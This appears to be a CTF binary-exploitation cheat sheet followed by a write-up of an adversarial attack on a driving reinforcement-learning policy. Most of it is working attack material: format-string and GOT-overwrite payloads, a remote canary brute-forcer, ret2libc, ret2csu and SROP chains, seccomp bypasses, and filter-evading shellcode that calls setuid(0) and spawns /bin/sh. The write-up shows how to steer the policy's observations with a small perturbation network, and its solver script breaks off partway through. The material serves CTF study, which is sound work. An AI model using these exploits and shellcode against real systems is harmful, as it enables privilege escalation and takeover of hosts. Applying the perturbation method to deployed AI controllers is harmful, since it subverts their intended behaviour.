offset = cyclic_find(0x6161616c)      # 32-bit chunk
offset = cyclic_find(p64(0x6161616c6161616b), n=8)

For 64-bit patterns, keep n consistent between generation and lookup if you use non-default subsequence size.

Environment Control

• Disable ASLR for Debugging: gdb disables ASLR by default. For a clean environment, use setarch x86_64 -R /bin/bash to spawn a shell where all child processes (excluding SUID) have ASLR disabled.
• SUID Trap: gdb cannot disable ASLR for SUID binaries due to kernel security. Remove the SUID bit (chmod u-s) or copy the binary to a local directory before debugging.
• Global ASLR Toggle: echo 0 | sudo tee /proc/sys/kernel/randomize_va_space (Reset to 2 when finished).

Environment affects stack addresses. argv[0] length, environment variables, terminal, and pwntools launching mode can shift stack buffers. Use env={} in process() or add a NOP sled when stack shellcode depends on approximate addresses.

Information Disclosure Causes

String Termination Problems

C strings are null-terminated, meaning they lack length metadata and rely on a 0x00 byte to mark the end.

• Missing Null byte: If a program reads exactly \(N\) bytes into an \(N\)-byte buffer (e.g., using read()), it won't append a null byte.
• Disclosure: Functions like printf("%s") will continue reading past the buffer until they hit a null byte, potentially leaking adjacent sensitive data like a flag or canary.

Uninitialized Data (Stack Frame Reuse)

• Frame Persistence: When a function returns, its stack frame is not cleared. The RSP simply moves back up.
• Ghost Data: If a subsequent function call allocates a frame over the same memory area and fails to initialize its variables, it can read or "leak" the "ghost" data left by the previous function.

Compiler Backstabbing (Dead Store Elimination)

• The Trap: A developer might use memset(buf, 0, size) to clear a sensitive flag before a function returns.
• DSE: If the compiler (with -O2 or -O3) determines that buf is never accessed again before the function returns, it may "optimize out" the memset entirely, leaving the secret data on the stack. Use -fno-inline or specific memory barrier techniques to prevent this.

Format String Leaks

printf(user_input) treats user bytes as a format string. This can leak stack/register values and, with %n, write memory.

1
2
3
4

%p %p %p %p              # leak pointers
%lx.%lx.%lx              # leak words
%7$sAAAA<addr>           # read string from controlled address, offset depends on stack layout
%hn / %hhn / %n          # write 2 / 1 / pointer-sized count

Pwntools helpers:

1
2
3
4

from pwn import *

offset = FmtStr(exec_fmt).offset
payload = fmtstr_payload(offset, {elf.got["printf"]: libc.sym["system"]})

Common path with writable GOT: leak a libc address, calculate libc.address, then overwrite printf@GOT/puts@GOT with system or an offset into win.

Memory Corruption Primitives

Stack Buffer Overflow

Typical offset calculation:

1
2
3
4

buf = rbp - 0x60
saved RBP = rbp
return address = rbp + 8
offset_to_ret = 0x60 + 8

Ret2win payload:

1

payload = b"A" * offset_to_ret + p64(elf.sym["win"])

If win_authed(token) checks a stack/local token, sometimes jump past the check instead of calling the function entry. This is an offset jump. Make sure the target instruction does not depend on skipped setup.

Canary Bypass Patterns

• Direct leak: program prints past the canary because the input overwrote its leading \x00 terminator.
• Residual stack leak: another function leaves a canary copy or secret in reused stack memory.
• Recursive/retry path: trigger a path that re-enters vulnerable code before the outer canary is checked.
• Fork brute-force: child crashes do not randomize parent canary; brute-force byte-by-byte.
• Skip canary write zone: corrupt loop index, pointer, length, or destination so writes land after the canary.

Stack canary on amd64 usually has a null low byte. Leak reconstruction often looks like:

1
2

canary = u64(b"\x00" + leak7)
payload = flat(b"A" * off, canary, b"B" * 8, target)

Signedness & Integer Bugs

Danger pattern: check in signed arithmetic, use in unsigned API.

1
2
3
4
5

int size;
scanf("%d", &size);
if (size <= 64) {
    read(0, buf, size);   // size converted to size_t
}

-1 passes size <= 64, then becomes 0xffffffffffffffff as size_t.

Integer multiplication overflow:

1
2

uint32_t bytes = count * record_size;
if (bytes <= sizeof(buf)) read(0, buf, count * record_size);

If multiplication truncates before the check but the later copy/read uses the larger semantic size, bounds checks fail.

OOB Indexing

• Negative index can read/write before an array.
• Positive overlarge index can reach later locals, heap metadata, GOT, vtables, function pointers, or adjacent objects.
• Convert byte distance to index by dividing by element size.

1

index = (target_addr - array_base) // element_size

Partial Pointer Overwrite

Partial overwrite changes only low bytes of a pointer. Useful when high bytes are stable due to page alignment or same mapping.

1

payload = b"A" * offset + p16(target_low_16)

This works best when source and destination are in the same module/stack/heap region or when only the low page offset must change.

GOT Overwrite

Requirements:

• GOT target must be writable (No RELRO or sometimes Partial RELRO).
• A write primitive reaches the target GOT entry.
• The overwritten function is called after the overwrite.

Common targets:

• printf@GOT -> system, then pass "/bin/sh" or a command string to printf.
• puts@GOT -> win + offset, but avoid recursion if win itself calls puts first.

Heap Bug Classes

• UAF: use a pointer after free; can become type confusion if the freed chunk is reallocated as another object.
• Double free: same chunk inserted into a free list twice; allocator-dependent exploitability.
• Overflow into metadata/object: corrupt size, next pointer, function pointer, vtable, length, or data pointer.
• Aliased backing store: a high-level view (ArrayBuffer, slice, sprite, ledger view) still references native heap memory after resize/free.

Pwndbg commands:

1
2
3
4
5
6
7

heap
vis_heap_chunks
bins
tcachebins
fastbins
unsortedbin
arena

ASLR & Bypass Techniques

Method 1: Memory Leak

Despite ASLR, the relative offset between functions and data within the same module remains constant.

1. Leak a known pointer (e.g., a function address in the GOT).
2. Subtract its constant offset to find the base address.
3. Calculate the addresses of all other gadgets/functions.

Method 2: Partial Overwrite (YOLO)

Memory is managed in pages (typically 0x1000 bytes). The lowest 12 bits of an address represent the page offset and are not randomized by ASLR.

• Strategy: Overwrite only the least significant 1 or 2 bytes of the return address. This allows redirecting execution to a different instruction within the same page (or nearby) without knowing the randomized base. Overwriting 2 bytes usually requires a 1/16 brute-force of the 4th nibble.

Method 3: Fork Brute-force

In a fork()-based network server, child processes inherit the exact memory layout of the parent, including ASLR offsets and the canary.

• Strategy: Brute-force the canary or return address byte-by-byte. If the child crashes, the parent simply forks a new one with the same values, allowing for infinite attempts.

Canary brute-force skeleton:

1
2
3
4
5
6
7
8
9
10
11
12
13

from pwn import *

canary = b"\x00"
for i in range(7):
    for guess in range(256):
        io = remote("host", 1337)
        payload = b"A" * offset_to_canary + canary + bytes([guess])
        io.send(payload)
        out = io.recvall(timeout=0.2)
        io.close()
        if b"stack smashing detected" not in out and b"crash" not in out:
            canary += bytes([guess])
            break

Method 4: ret2libc

With NX enabled, call existing libc code instead of injecting code.

1. Leak a libc pointer, e.g. puts(puts@GOT).
2. Compute libc.address = leaked_puts - libc.sym["puts"].
3. Call system("/bin/sh") or execve gadgets.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

elf = ELF("./chall")
libc = ELF("./libc.so.6")
rop = ROP(elf)

payload = flat(
    b"A" * offset,
    rop.find_gadget(["pop rdi", "ret"])[0],
    elf.got["puts"],
    elf.plt["puts"],
    elf.sym["main"],
)

# receive leak, then second stage
libc.address = leak - libc.sym["puts"]
binsh = next(libc.search(b"/bin/sh\x00"))
payload = flat(
    b"A" * offset,
    ret,                         # optional stack alignment
    pop_rdi,
    binsh,
    libc.sym["system"],
)

Method 5: ret2plt / ret2csu

• ret2plt: call imported functions through PLT when the binary has useful PLT entries and controlled arguments.
• ret2csu: use gadgets inside __libc_csu_init to populate RDI, RSI, RDX when simple pop rdi; ret / pop rsi; ret gadgets are missing.

Typical ret2csu idea:

1
2

gadget 1: pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret
gadget 2: mov rdx,r15; mov rsi,r14; mov edi,r13d; call [r12+rbx*8]

Set rbx = 0, rbp = 1, r12 = function_pointer_table, r13 = arg1, r14 = arg2, r15 = arg3.

Method 6: SROP

Sigreturn-oriented programming uses a fake rt_sigreturn frame to set all registers. Useful when gadgets are scarce but you can execute syscall with RAX = 15 (rt_sigreturn).

1
2
3
4
5
6
7

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_ret
payload = flat(b"A" * offset, pop_rax, 15, syscall_ret, bytes(frame))

Seccomp Notes

If shellcode or ROP mysteriously dies on execve, check seccomp filters.

1
2

seccomp-tools dump ./chall
strace ./chall

Common bypasses:

• If execve is blocked but file syscalls are allowed: open/read/write or sendfile the flag.
• If open is blocked but openat allowed: use openat(AT_FDCWD, "/flag", 0).
• If only read, write, exit, sigreturn are allowed: consider SROP or staged ROP.

Shellcoding

Toolchain

1
2
3
4
5
6
7
8

# Compile shellcode (static, no libc)
gcc -nostdlib -static shellcode.s -o shellcode-elf

# Extract raw shellcode bytes
objcopy --dump-section .text=shellcode-raw shellcode-elf

# Compile with RWX .text (for SMC)
gcc -Wl,-N --static -nostdlib -o test test.s

Forbidden Bytes

Avoid bytes that terminate or split input strings:

Null Byte Avoidance Techniques

Other size/filter tricks:

• Use 32-bit register writes (eax, edi, esi) to avoid REX.W (0x48) and zero-extend into 64-bit registers.
• Use push imm; pop reg for small constants.
• Use cdq to zero/sign-fill RDX from EAX when EAX is positive.
• Store strings on the stack in little-endian order.
• XOR-encode constants to avoid bad bytes, then decode in-place.
• If shellcode is called through a register, inspect live registers before execution; they may point to the shellcode mapping and save bytes with lea.

NOP Sled & Stack Shellcode

NOP sled (\x90) tolerates approximate jump targets. It is useful when stack addresses shift due to environment differences.

1
2
3
4

nop_sled = b"\x90" * 512
shellcode = asm(shellcraft.cat("/flag"))
payload = nop_sled + shellcode
payload = payload.ljust(offset, b"A") + p64(approx_stack_addr)

Avoid stack self-destruction: after ret, RSP points just above the return address. Shellcode using push may overwrite nearby bytes below RSP. Place shellcode sufficiently before/after the overwritten return path or use a large sled.

Staged Shellcode

When input length is too small, first-stage shellcode reads a larger second stage into RWX memory or stack, then jumps there.

1
2
3
4
5
6
7

; read(0, rsp, 0x400); jmp rsp
xor eax, eax
xor edi, edi
mov rsi, rsp
mov dx, 0x400
syscall
jmp rsp

Self-Modifying Code (SMC)

Runtime modification of the .text segment to bypass static filters. Requires the segment to be writable (-Wl,-N).

1
2
3
4

; Bypassing 'syscall' (0x0f05) filter
inc BYTE PTR [RIP+1]
.byte 0x0f
.byte 0x04            ; Runtime: 0x04 -> 0x05 (creating 0x0f05)

If the first page is made RX after input, place the patching code and patch targets on a later still-writable page, or use a first-stage jump over the protected region.

CET: SHSTK & IBT

Intel CET adds hardware CFI:

• SHSTK (Shadow Stack): return addresses are mirrored on a protected shadow stack. ret compares the normal stack return address against the shadow one. A classic saved-RIP overwrite can crash even when canary is disabled.
• IBT (Indirect Branch Tracking): indirect call/jmp targets must start with endbr64 (f3 0f 1e fa).
• notrack prefix: notrack jmp rax can bypass IBT checks for that branch, so a corrupted function pointer/register may jump to shellcode or arbitrary code even when IBT is enabled.

When SHSTK blocks ROP, look for:

• Non-return indirect branches: jmp rax, call rax, switch-table dispatch.
• notrack jumps in compiler-generated switch code.
• Writable function pointers, vtables, callback tables, jump-table indexes.
• Logic bugs that reach win without hijacking ret.

Reference Shellcodes

x64 root shell (No REX.W/0x48)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

# Avoids \x48 (REX.W prefix)
.global _start
_start:
.intel_syntax noprefix

    /* 0. Set UID to root (setuid(0)) */
    xor edi, edi        /* rdi = 0 (root UID) -> 31 ff */
    push 105            /* syscall 105 (0x69) = setuid */
    pop rax             /* 6a 69 58 */
    syscall

    /* 1. Prepare null bytes and allocate stack space */
    xor esi, esi
    push rsi            /* 8-byte null terminator */
    push rsi            /* space for /bin//sh */
    push rsp
    pop rdi             /* push rsp (0x54) + pop rdi (0x5f) avoids mov rdi, rsp (0x48) */

    /* 2. Construct /bin//sh on the stack (using 32-bit ops to avoid REX.W) */
    /* 0x6e69622f = "nib/", 0x68732f2f = "hs//" (little-endian) */
    mov dword ptr [rdi], 0x6e69622f
    mov dword ptr [rdi+4], 0x68732f2f

    /* 3. Set execve syscall number */
    push 59
    pop rax             /* avoids mov rax, 59 */

    /* 4. Clear edx (envp) and execute */
    xor edx, edx
    syscall

x64 execve("/bin/sh") (22-23 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13

; Standard 22-23 byte execve("/bin/sh")

; BITS 64

xor rsi, rsi        ; Clear RSI (argv = NULL)
push rsi            ; Push NULL terminator for string
mov rbx, 0x68732f2f6e69622f ; "/bin//sh" in little-endian
push rbx            ; Push string to stack
push rsp            ; Push address of string
pop rdi             ; RDI = address of "/bin//sh" (filename)
mov al, 0x3b        ; RAX = 59 (execve syscall number)
cdq                 ; RDX = 0 (envp = NULL) if RAX is positive
syscall             ; Execute

x64 cat /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

.section .shellcode,"awx"
.global _start
_start:
.intel_syntax noprefix
    /* push b'/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push 2
    pop rax
    mov rdi, rsp
    xor esi, esi /* O_RDONLY */
    syscall
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40 /* 0x28 */
    pop rax
    push 1
    pop rdi
    cdq /* rdx=0 */
    syscall

x64 cat /flag (No REX.W/0x48)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

.global _start
_start:
.intel_syntax noprefix

    /* 1. OPEN: open("/flag", O_RDONLY) -> Syscall 2 */
    xor esi, esi                    /* rsi = 0 (O_RDONLY) -> 31 f6 */
    push rsi                        /* null terminator */
    push rsp
    pop rdi                         /* rdi points to stack top (avoids mov rdi, rsp) */

    /* Construct "/flag" using 32-bit and 8-bit writes */
    /* "/fla" = 0x616c662f */
    mov dword ptr [rdi], 0x616c662f /* c7 07 2f 66 6c 61 */
    /* "g" = 0x67 */
    mov byte ptr [rdi+4], 0x67      /* c6 47 04 67 */

    push 2
    pop rax                         /* open syscall number */
    syscall                         /* fd returned in rax */

    /* 2. READ: read(fd, buffer, size) -> Syscall 0 */
    xchg eax, edi                   /* rdi = fd, clears rax (0x97) */

    push rsp
    pop rsi                         /* rsi = rsp (buffer) */

    mov dl, 100                     /* rdx = 100 (size) using 8-bit register */
    xor eax, eax                    /* read syscall number */
    syscall

    /* 3. WRITE: write(stdout, buffer, size) -> Syscall 1 */
    xchg eax, edx                   /* rdx = bytes read (0x92) */

    push 1
    pop rdi                         /* rdi = 1 (stdout) */

    push 1
    pop rax                         /* write syscall number */
    syscall

x64 cat /flag (No 'syscall' opcode)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

.section .shellcode,"awx"
.global _start
_start:
.intel_syntax noprefix
    /* push b'/flag\x00' */
    mov rax, 0x101010101010101
    push rax
    mov rax, 0x101010101010101 ^ 0x67616c662f
    xor [rsp], rax
    /* call open('rsp', 'O_RDONLY', 'rdx') */
    push 2
    pop rax
    mov rdi, rsp
    xor esi, esi
    inc byte ptr [rip + patch_target1 + 1]
patch_target1:
    .byte 0x0f
    .byte 0x04            /* Patched to 0x0f05 at runtime */
    /* call sendfile(1, 'rax', 0, 0x7fffffff) */
    mov r10d, 0x7fffffff
    mov rsi, rax
    push 40
    pop rax
    push 1
    pop rdi
    cdq
    inc byte ptr [rip + patch_target2 + 1]
patch_target2:
    .byte 0x0f
    .byte 0x04

Common Terms

Exploit Skeletons

Local/Remote Toggle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF("./chall", checksec=False)
context.terminal = ["tmux", "splitw", "-h"]

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([elf.path] + argv, gdbscript="""
        set disassembly-flavor intel
        break *main
        continue
        """, *a, **kw)
    if args.REMOTE:
        return remote("host", 1337)
    return process([elf.path] + argv, *a, **kw)

io = start(env={})

Run with:

1
2
3

python solve.py
python solve.py GDB
python solve.py REMOTE

Leak Parsing

1
2
3
4
5

io.recvuntil(b"leak: ")
leak = int(io.recvline().strip(), 16)

raw = io.recvn(6)
addr = u64(raw.ljust(8, b"\x00"))

Flat Payloads

1
2
3
4
5
6
7
8

payload = flat(
    b"A" * offset,
    canary,
    b"B" * 8,
    pop_rdi,
    next(libc.search(b"/bin/sh\x00")),
    libc.sym["system"],
)

Python: Integer to Byte Conversion

In Python, converting an integer (0-255) to a byte string requires careful handling of the bytes() constructor:

• Incorrect: bytes(guess)
  • If guess = 5, this creates a null-filled byte string of length 5: b'\x00\x00\x00\x00\x00'.
• Correct: bytes([guess])
  • Passing a list (iterable) treats the integer as the actual byte value.
  • If guess = 65, bytes([65]) results in b'A' (0x41).

movaps

movaps (Move Aligned Packed Single-Precision Floating-Point Values) 是 x86/x64 架构下的一条 SIMD（单指令多数据流）指令，主要用于高效的数据传输。

• SIMD 向量化处理与高吞吐率： 现代 CPU 为了优化数据处理效率，会利用 XMM 寄存器执行向量化操作。movaps 能够单次吞吐 128 位（16 字节）的数据，极大地提升了内存带宽利用率。该指令被广泛应用于音视频编解码、图形渲染及密码学算法等密集型矩阵运算场景。
• 内存对齐 (Memory Alignment) 与缓存行 (Cache Line) 机制： movaps 是一条强制要求内存对齐的指令，要求操作数的内存首地址必须是 16 的倍数（即 16 字节对齐）。现代 CPU 的 L1 数据缓存行通常为 64 字节。强制 16 字节对齐保证了这 16 字节的数据块绝对不会跨越两个不同的缓存行（Cache Line Boundary）。这使得 CPU 内部的内存控制器只需发起单次寻址操作即可完成数据读取，避免了跨缓存行读取带来的性能惩罚。

x64 ROP 链中的栈对齐

在 64 位 Linux PWN（漏洞利用）中，通过 ROP 链调用 system() 或 printf() 等标准库函数时，常会遭遇程序崩溃。其根本原因在于破坏了系统调用约定的栈对齐规范。

• System V AMD64 ABI 栈对齐规范: 在执行 call 指令跳转至目标函数前，rsp % 16 == 0。call 会压入 8 字节返回地址，所以进入被调用函数第一条指令时通常是 rsp % 16 == 8。标准函数序言再执行 push rbp 后恢复到 rsp % 16 == 0。
• 触发 #GP 异常的根本原因： 当攻击者通过缓冲区溢出劫持控制流，并利用 ROP 链直接跳转至 system("/bin/sh") 时，往往忽略了对当前 rsp 状态的维护。如果此时 rsp 存在 8 字节的偏移错位，当执行到 Glibc 内部（如 do_system 或 vfprintf）时，由于这些高频函数在 -O3 优化级别下广泛使用 movaps 指令来操作局部变量，movaps 遇到未对齐的栈地址会直接触发硬件级别的 General Protection Fault (#GP 异常)，最终由操作系统内核向进程发送 SIGSEGV 信号导致崩溃。
• Exploit 解决方案：ret Gadget 栈平衡： 在 ROP 链中，在目标函数（如 system）的地址之前，预先插入一个极简的 ret Gadget（机器码 0xC3）。ret 指令的语义等价于 pop rip，它会将栈顶的 8 字节数据弹出。这 8 字节的指针位移恰好起到了栈指针补偿的作用，将错位的 rsp 重新调整至 16 字节对齐状态，从而规避 movaps 导致的硬件异常。

Quick fix:

1
2

ret = rop.find_gadget(["ret"])[0]
payload = flat(b"A" * offset, ret, pop_rdi, binsh, system)

32 位 (x86) 对齐

在 32 位漏洞利用中，因 movaps 导致的崩溃概率显著降低，其架构与编译层面的原因如下：

• 调用约定 (Calling Convention) 的差异： 32 位环境（如 cdecl）主要依赖栈传参，每次 push 参数会导致栈指针 esp 发生 4 字节的位移。这种高频的 4 字节扰动使得 16 字节对齐极其难以在整个调用链中维持。
• 编译器的指令选择策略： 鉴于 32 位下维护栈对齐的成本过高，编译器（尤其是旧版 GCC）通常会采取降级策略：默认生成容错率更高的 movups 指令（Move Unaligned，允许非对齐读取），或者直接放弃生成 SSE 向量化指令，转而使用标量指令来处理普通 C 代码。
• 32 位的栈平滑方案： 如果在 32 位环境下确需解决 16 字节对齐导致的崩溃，不能像 64 位那样简单粗暴地填充一个 ret 指令。攻击者需要精确计算当前 esp 距离目标对齐状态的偏移量（4 的倍数），并寻找相应数量的 pop <reg>（例如 pop eax; ret）Gadget 来进行微调，直到满足 esp % 16 == 0 的条件。

roobet recently introduced their new game: rush hour. the objective of the game is to successfully bet on how many cars cross an arbitrary section of road in a given time. i have identified a highway exit on a california traffic cam that experts predict will have no traffic during this ctf. however, you somewhat unwisely bet that one car would take this exit. well, now's your chance. can you hack the autonomous car RL policy to drive to the target?

Challenge Overview

We are given a local challenge bundle containing a fixed reinforcement-learning driving policy and a remote service at rush-hour.challs.umdctf.io. The service accepts a small neural network that we control, which perturbs the observation vector seen by the fixed policy. The goal is to make the autonomous car drive into a hidden CTF target instead of the legitimate goal.

The twist: the local simulator uses a different physics timestep than the remote environment. An attack that works locally at one timestep may fail entirely at another.

Given Files

The challenge directory contains:

• policy.py -- the fixed driving policy
• attack.py -- the attacker network definition
• game.py -- the environment/game loop
• observations.py -- observation generation
• physics.py -- car dynamics
• weights.npz -- the fixed policy weights

We do not control the main driving policy. We only control a small attack network that adds a bounded perturbation to the policy's 8-dimensional observation.

Reverse Engineering

The Real Target

From game.py:

1
2
3
4

LEGIT_GOAL = (-20.0, -20.0)
CTF_GOAL   = (18.5, -24.5)
CTF_RADIUS = 2.0
EPISODE_TIMEOUT = 60.0

The environment computes observations using LEGIT_GOAL, but the flag is awarded if the car reaches CTF_GOAL. The whole challenge is an adversarial-control problem: make the policy think it should do something slightly different at every timestep until it reaches the hidden target.

The Attacker Model

From attack.py, the network constraints are:

• Input dimension: 8
• Hidden dimension: 16
• Output dimension: 8
• Per-weight absolute value bound: 10.0
• Output L2 norm bound after forward pass: 0.5

The submitted .npz must contain:

• W0 shape (16, 8)
• b0 shape (16,)
• W1 shape (8, 16)
• b1 shape (8,)

The forward pass is simple:

1
2
3
4
5
6

h = np.tanh(W0 @ obs + b0)
y = np.tanh(W1 @ h + b1)
norm = float(np.linalg.norm(y))
if norm > MAX_DELTA_L2:
    y = y * (MAX_DELTA_L2 / norm)
return y

The perturbation is then added to the observation before the fixed policy runs.

Policy Inputs

From observations.py, the policy sees an 8-dimensional vector:

• Normalized speed
• Normalized steer angle
• Heading cosine/sine
• Goal-forward and goal-right coordinates in the car frame
• Log-distance-to-goal
• Constant bias term

This means the attack must be state-dependent -- a fixed offset would not work because the policy's inputs change as the car moves.

Initial Solve Strategy

The most direct approach: optimize the attack network weights directly against the provided simulator. This is the right starting point because:

• The remote service accepts exactly this network format
• The bundle includes the full local environment and fixed policy
• The attack is small enough to search directly (280 parameters)
• The simulator is deterministic (same seed = same result)

I built a local solver (solver.py) that:

1. Simulates episodes from reset
2. Evaluates attack candidates using the local environment
3. Scores candidates by:
   • Huge reward for reaching the CTF goal
   • Otherwise minimizing distance to the CTF goal
4. Uses an evolution-style search over attack weights

Solver Architecture

The solver uses a simple evolution strategy. The core idea: maintain a "center" set of weights in 280-dimensional space, sample random variations around it, run each variant through the simulator, pick the best ones, and move the center toward them.

See the Full Solver Code section below for the complete 205-line script.

Local Success

Running at the default dt=0.1, the search converged quickly:

1

SearchConfig(seed=7, iterations=600, population=96, dt=0.1)

The winning artifact looked great locally:

1
2
3
4
5
6
7
8

{
    'goal_reached': True,
    'timed_out': False,
    'steps': 90,
    'final_distance': 1.913,
    'final_position': (17.04, -23.26),
    'inside_goal_radius': True
}

At this point, it looked solved.

Why the First Solve Failed Remotely

Uploading the local-winning artifact to the remote service produced:

1

episode timed out

This was the key twist in the challenge. The remote behavior clearly diverged from local, even though both appeared to represent the same game.

Root Cause Investigation

Instead of guessing, I connected directly to the websocket endpoint used by the frontend:

1

wss://rush-hour.challs.umdctf.io/ws

The frontend JavaScript bundle showed that the page renders state messages including x, z, heading, speed, obs, obsDelta, goalReached, timedOut, and flag. This allowed me to stream live state from the remote server.

What the Remote Stream Showed

The remote server was sending state updates at a much finer time cadence:

1
2
3

{"t": 0.01986314600071637, ...}
{"t": 0.04219807200570358, ...}
{"t": 0.06386602800193941, ...}

So the remote simulator steps at approximately:

1

dt ~= 0.02

My original local solver was optimized at:

1

dt = 0.1

That difference turned out to be fatal.

Local Confirmation

I replayed the same "winning" artifact locally under multiple timesteps:

1
2
3
4

dt = 0.1          -> goal_reached = True
dt = 0.05         -> goal_reached = True
dt = 0.02         -> goal_reached = False, timed_out = True
dt = 0.019863146  -> goal_reached = False, timed_out = True

The artifact was not robust. It only won under a coarse fixed-step local simulation. The finer timestep changes the car's trajectory enough that the attack perturbations no longer steer toward the CTF goal.

This explained the remote timeout perfectly.

The Real Exploit

The real solve was:

1. Use the provided local simulator to understand the control surface
2. Discover that the remote environment runs at a different timestep (dt ~ 0.02)
3. Retune the search against the remote-like cadence
4. Submit the new artifact

I re-ran the search with the corrected timestep:

1
2
3
4
5
6
7
8
9

SearchConfig(
    seed=99,
    iterations=120,
    population=48,
    elite_count=8,
    noise_scale=0.28,
    dt=0.02,
    max_time=60.0,
)

I tested several seeds and saved multiple candidates:

• remote_seed1.npz
• remote_seed7.npz
• remote_seed42.npz
• remote_seed99.npz

All of them transferred locally under the finer timestep.

Verification

I verified each candidate at both dt=0.02 and the exact remote cadence dt=0.019863146:

1
2
3
4
5

for seed in [1, 7, 42, 99]:
    arrays = load_npz(f"artifacts/remote_seed{seed}.npz")
    for dt in [0.02, 0.019863146]:
        result = evaluate_attack(arrays, dt=dt)
        print(f"seed={seed} dt={dt} -> goal={result['goal_reached']}")

All four seeds succeeded at both timesteps.

Final Remote Submission

Submitting remote_seed99.npz to the websocket and waiting for server-side state updates eventually produced:

1
2
3
4
5

{
  "goalReached": true,
  "timedOut": false,
  "flag": "UMDCTF{********************************************************************}"
}

The relevant terminal output near the end:

1
2
3

state 400 {'t': 8.4639, 'x': 16.118, 'z': -25.057, 'goalReached': False, 'flag': None}
state 405 {'t': 8.5656, 'x': 16.681, 'z': -25.055, 'goalReached': True,
           'flag': 'UMDCTF{********************************************************************}'}

Full Solver Code

The complete solver script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210

from __future__ import annotations

import math
from argparse import ArgumentParser
from dataclasses import dataclass
from pathlib import Path
from typing import Any

import numpy as np

from attack import AttackModel
from game import CTF_GOAL, CTF_RADIUS, EPISODE_TIMEOUT, GameState
from policy import load_default_policy

MAX_WEIGHT = 10.0
PROJECT_DIR = Path(__file__).resolve().parent
ATTACK_SHAPES = {
    "W0": (16, 8),
    "b0": (16,),
    "W1": (8, 16),
    "b1": (8,),
}
ATTACK_PARAMETER_SIZE = 16 * 8 + 16 + 8 * 16 + 8


@dataclass(frozen=True)
class SearchConfig:
    seed: int = 7
    iterations: int = 600
    population: int = 96
    elite_count: int = 12
    noise_scale: float = 0.28
    dt: float = 0.02  # 远程环境步长 ~0.02；0.1 本地可过但远程 timeout
    max_time: float = EPISODE_TIMEOUT


def default_attack_arrays() -> dict[str, np.ndarray]:
    return {
        "W0": np.zeros((16, 8), dtype=np.float32),
        "b0": np.zeros((16,), dtype=np.float32),
        "W1": np.zeros((8, 16), dtype=np.float32),
        "b1": np.zeros((8,), dtype=np.float32),
    }


def flatten_attack_arrays(arrays: dict[str, np.ndarray]) -> np.ndarray:
    return np.concatenate(
        [
            arrays["W0"].astype(np.float32).ravel(),
            arrays["b0"].astype(np.float32).ravel(),
            arrays["W1"].astype(np.float32).ravel(),
            arrays["b1"].astype(np.float32).ravel(),
        ]
    )


def unflatten_attack_vector(vector: np.ndarray) -> dict[str, np.ndarray]:
    x = np.asarray(vector, dtype=np.float32)
    assert x.shape == (ATTACK_PARAMETER_SIZE,)
    i = 0
    w0 = x[i : i + 128].reshape(16, 8)
    i += 128
    b0 = x[i : i + 16]
    i += 16
    w1 = x[i : i + 128].reshape(8, 16)
    i += 128
    b1 = x[i : i + 8]
    return {"W0": w0.copy(), "b0": b0.copy(), "W1": w1.copy(), "b1": b1.copy()}


def clamp_attack_arrays(arrays: dict[str, np.ndarray]) -> dict[str, np.ndarray]:
    return {
        key: np.clip(value, -MAX_WEIGHT, MAX_WEIGHT).astype(np.float32)
        for key, value in arrays.items()
    }


def save_attack_npz(path: str | Path, arrays: dict[str, np.ndarray]) -> None:
    safe_arrays = clamp_attack_arrays(arrays)
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    np.savez(target, **safe_arrays)


def parse_args(argv: list[str] | None = None) -> tuple[SearchConfig, Path]:
    parser = ArgumentParser(description="Search for a rush-hour attack candidate.")
    parser.add_argument("--iterations", type=int, default=SearchConfig.iterations)
    parser.add_argument("--dt", type=float, default=SearchConfig.dt,
                        help="Simulation timestep (default: %(default)s). "
                             "Remote env uses ~0.02; 0.1 passes locally but times out remotely.")
    parser.add_argument(
        "--output",
        type=Path,
        default=PROJECT_DIR / "artifacts" / "best_attack.npz",
    )
    args = parser.parse_args(argv)
    return SearchConfig(
        iterations=args.iterations,
        dt=args.dt,
    ), args.output


def score_result(result: dict[str, Any]) -> float:
    if result["goal_reached"]:
        return 1_000_000.0 - float(result["steps"])
    return -1000.0 * float(result["min_distance"]) - float(result["final_distance"])


def evaluate_attack(
    arrays: dict[str, np.ndarray], dt: float = 0.02, max_time: float = EPISODE_TIMEOUT
) -> dict[str, Any]:
    state = GameState(load_default_policy())
    state.install_attack(AttackModel(arrays))

    initial_dx = state.car.x - CTF_GOAL[0]
    initial_dz = state.car.z - CTF_GOAL[1]
    min_distance = math.hypot(initial_dx, initial_dz)
    steps = 0
